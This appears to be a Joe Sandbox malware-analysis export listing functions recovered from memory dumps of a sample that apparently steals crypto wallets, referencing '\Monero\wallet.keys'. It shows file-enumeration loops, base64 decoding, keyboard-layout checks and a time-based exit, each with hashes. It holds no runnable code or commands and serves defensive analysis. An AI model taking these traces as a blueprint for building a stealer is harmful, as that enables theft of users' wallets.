Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: b98fd1a3be70c024c0da57d70730f48606ee93d00389167dfa458f8d6411b211
Instruction ID: bf1ef1a3c630a695e5ea41d253e081e8e9c8e4bfbde98a86ce869abc58d2bf2f
Opcode Fuzzy Hash: b98fd1a3be70c024c0da57d70730f48606ee93d00389167dfa458f8d6411b211
Instruction Fuzzy Hash: FB1235719101189BCB15FB61CC96EEE7338AF94304F41859EB11E62091EF386F99CFA6

Function 0046DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00480C2E), ref: 0046DE5E
StrCmpCA.SHLWAPI(?,004814C8), ref: 0046DEAE
StrCmpCA.SHLWAPI(?,004814CC), ref: 0046DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0046E3E0
FindClose.KERNEL32(000000FF), ref: 0046E3F2

Strings

\*.*, xrefs: 0046DE26

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: db647b3e4a365648142618f745faaff2bdfbbca3b5299a27e70dc127ddb402be
Instruction ID: 7c7a55b933f77b0f38eaae95c2d6842188ea6ca533f292c939b28a2fd6903848
Opcode Fuzzy Hash: db647b3e4a365648142618f745faaff2bdfbbca3b5299a27e70dc127ddb402be
Instruction Fuzzy Hash: 69F1DF718101189ACB25FB61CC95EEE7338AF54304F5185DFA11E62091EF386F9ACF6A

Function 008273D5 Relevance: 14.1, Strings: 10, Instructions: 1609COMMON

Download Yara Rule

Strings

1_}, xrefs: 00827DCA
87, xrefs: 00827CCF
Xg7n, xrefs: 00828097
Hu{, xrefs: 008286B7
%`}{, xrefs: 008285A1
1Z<, xrefs: 00827EB1
|jy, xrefs: 00827F36
GOo{, xrefs: 00827E37
'~_~, xrefs: 00828229
f<R, xrefs: 0082843D

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %`}{$'~_~$1Z<$GOo{$Hu{$Xg7n$|jy$1_}$87$f<R
API String ID: 0-615228910
Opcode ID: e1426343125cbfab3d3b9f1aff576a60c68b9e5d24e342b6f3a70df342563de6
Instruction ID: da2394967ea96a119131f74f20db538d5b79ba3996595cd7e596a261291f65eb
Opcode Fuzzy Hash: e1426343125cbfab3d3b9f1aff576a60c68b9e5d24e342b6f3a70df342563de6
Instruction Fuzzy Hash: 4CB215F3A0C2049FE304AE2DEC9567ABBE9EF94720F16493DE6C5C3740EA3558018697

Function 0046DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004814B0,00480C2A), ref: 0046DAEB
StrCmpCA.SHLWAPI(?,004814B4), ref: 0046DB33
StrCmpCA.SHLWAPI(?,004814B8), ref: 0046DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0046DDCC
FindClose.KERNEL32(000000FF), ref: 0046DDDE

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 975f563585b10e80a106089b345a0cc1ab1cb32ae3fabbca7e88642ca26961f3
Instruction ID: 5cc3b4508914264b54bb2772dfe4c9418959142edd8aa47bd4cbbc0e474b2d2c
Opcode Fuzzy Hash: 975f563585b10e80a106089b345a0cc1ab1cb32ae3fabbca7e88642ca26961f3
Instruction Fuzzy Hash: 68916572D0010497CB14FBB1DC569EE737DABC4304F00895EB81A96151FE38AB19CBA7

Function 0082FC7E Relevance: 12.9, Strings: 9, Instructions: 1609COMMON

Download Yara Rule

Strings

WC??, xrefs: 00830DDA
uQ@I, xrefs: 00830827
q9~3, xrefs: 008304C2
DDme, xrefs: 008306B5
wr, xrefs: 008303F5
[D., xrefs: 0082FD03
flT,, xrefs: 00830AFB
)\sj, xrefs: 00830358
DTK|, xrefs: 00830E81

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )\sj$DDme$DTK|$WC??$[D.$flT,$q9~3$uQ@I$wr
API String ID: 0-2667565302
Opcode ID: 3d63a69877d881b138695fc50cee46cb0c3188d96e2ecad70710bc0fef2c2ecb
Instruction ID: 565e85ffaeb73c2ad21ff7511c6796e94b9e095b9ac4e7a89dd611bf8f1b9495
Opcode Fuzzy Hash: 3d63a69877d881b138695fc50cee46cb0c3188d96e2ecad70710bc0fef2c2ecb
Instruction Fuzzy Hash: A3B2F4F3A0C2109FE304AF29DC8567AFBE5EF94720F1A892DE6C583344E63558058B97

Function 00477B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

GetKeyboardLayoutList.USER32(00000000,00000000,004805AF), ref: 00477BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00477BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00477C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00477C62
LocalFree.KERNEL32(00000000), ref: 00477D22

Strings

/ , xrefs: 00477C7F

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f3a40ab9b2ff351c449678b90c1a180f8c1c31890ae47431afe76d2e270954ec
Instruction ID: 207f9fb707d038d4dc38419c853f6d60f234b47db5a8533775d5e7d6c3a38d7b
Opcode Fuzzy Hash: f3a40ab9b2ff351c449678b90c1a180f8c1c31890ae47431afe76d2e270954ec
Instruction Fuzzy Hash: 62415071940118ABDB24EB94DC99FEEB374FF44704F6085DAE10962180DB386F85CFA6

Function 0046E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00480D73), ref: 0046E4A2
StrCmpCA.SHLWAPI(?,004814F8), ref: 0046E4F2
StrCmpCA.SHLWAPI(?,004814FC), ref: 0046E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0046EBDF

Strings

\*.*, xrefs: 0046E44D

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c13fc9b9895fa8d2cc1c95228d8725bcadb7d32ab1e1278be6f4b901ec7b17de
Instruction ID: fb946464fc7c9be2234359022c1a2680b9fbd9f48ecf02ffb499833c52e13fd6
Opcode Fuzzy Hash: c13fc9b9895fa8d2cc1c95228d8725bcadb7d32ab1e1278be6f4b901ec7b17de
Instruction Fuzzy Hash: 831262719101149ADB14FB61CC96EEE7378AF94304F4089AEB50E52091EF386F59CFAB

Function 00469AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NF,00000000,00000000), ref: 00469AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00464EEE,00000000,?), ref: 00469B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NF,00000000,00000000), ref: 00469B2A
LocalFree.KERNEL32(?,?,?,?,00464EEE,00000000,?), ref: 00469B3F

Strings

NF, xrefs: 00469AD4, 00469AE1, 00469AF9, 00469B18, 00469AE4, 00469B1B

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NF
API String ID: 4291131564-359928498
Opcode ID: 36c305b3723e03b5a1058e8d2d62fbc9a57628a854f37997c3bc71a692f3253b
Instruction ID: d904d41ca567bde3f5adb5292b775d03a90cfc2977043c9f2d8ca4c6d4fabfdf
Opcode Fuzzy Hash: 36c305b3723e03b5a1058e8d2d62fbc9a57628a854f37997c3bc71a692f3253b
Instruction Fuzzy Hash: 6011D4B4240308AFEB00CFA4CC95FAA77B9FB89B10F208059FA159B390C7B5A901CF50

Function 00833654 Relevance: 8.8, Strings: 6, Instructions: 1305COMMON

Download Yara Rule

Strings

n)+z, xrefs: 008338E1
p;, xrefs: 00833DCB
Fh}, xrefs: 0083460D
_i[, xrefs: 008344CD
w3v7, xrefs: 00833E9B
ar_, xrefs: 00833E33

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Fh}$_i[$ar_$n)+z$p;$w3v7
API String ID: 0-1031497020
Opcode ID: 76a6876bcac5cf31118d939777f119643506bd7726a87f9e0cac2c7a950dcdc1
Instruction ID: 551c47a9289ae15369f2ef8b18e4d13aa199c3cf8b25971a016a4eb755872ac9
Opcode Fuzzy Hash: 76a6876bcac5cf31118d939777f119643506bd7726a87f9e0cac2c7a950dcdc1
Instruction Fuzzy Hash: 6E9207F360C6009FE704AE2DEC8567ABBE9EF98320F16492DE6C5C3744EA3558448797

Function 0046C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0046C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0046C87C
lstrcat.KERNEL32(?,00480B46), ref: 0046C943
lstrcat.KERNEL32(?,00480B47), ref: 0046C957
lstrcat.KERNEL32(?,00480B4E), ref: 0046C978

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 1397156492e27b0ce6a04c7d77733d14d1b041a9aabcfa6ae6786bab8bf02b2b
Instruction ID: ae44bd3fa1c6a550498304025417ea28bd8181d800d23ef9f9f73b15d729b293
Opcode Fuzzy Hash: 1397156492e27b0ce6a04c7d77733d14d1b041a9aabcfa6ae6786bab8bf02b2b
Instruction Fuzzy Hash: 674162B5D0421ADBDB10DF90DD89BFEB7B8BB44304F1045A9E509A6280D7746A84CF96

Function 00476920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0047696C
sscanf.NTDLL ref: 00476999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004769B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004769C0
ExitProcess.KERNEL32 ref: 004769DA

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

